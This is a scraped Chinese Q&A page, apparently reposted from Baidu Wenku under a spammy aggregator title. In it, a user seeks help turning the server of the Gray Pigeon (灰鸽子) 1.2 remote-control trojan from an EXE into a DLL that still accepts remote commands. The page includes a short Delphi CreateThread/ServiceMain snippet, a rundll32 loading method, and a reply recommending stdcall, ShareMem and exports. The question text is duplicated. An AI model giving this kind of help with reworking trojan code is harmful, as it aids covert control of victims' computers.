查人人中国名人网two cops韩剧:delphi将灰鸽子1.2源代码改成DLL
来源：百度文库 编辑：查人人中国名人网 时间：2024/05/10 15:25:52
灰鸽子1.2源代码服务端SERVER的文件是EXE的.请问如何将它改成DLL的.我自己将它改成DLL后.只能上线,不能控制.也许是因为VCL在DLL中不能用的问题.
我的作法是:program改成library将MAIN函数改为begin改成procedure ServiceMain然后
var
TID: dword;
begin
CreateThread(nil, 0, @ServiceMain, nil, 0, TID);
end.
这样来调用..先谢谢各们高手了..
按我原来的做法用rundll32 SEVER.DLL,MAIN载入后正常控制,用其它方式启动则只能上线不能控制.
我的作法是:program改成library将MAIN函数改为begin改成procedure ServiceMain然后
var
TID: dword;
begin
CreateThread(nil, 0, @ServiceMain, nil, 0, TID);
end.
这样来调用..先谢谢各们高手了..
按我原来的做法用rundll32 SEVER.DLL,MAIN载入后正常控制,用其它方式启动则只能上线不能控制.
把函数改成stdcall模式
然后在调用它的程序的工程文件中加上uses ShareMem就行
另外，dll中的函数需要用exports来发布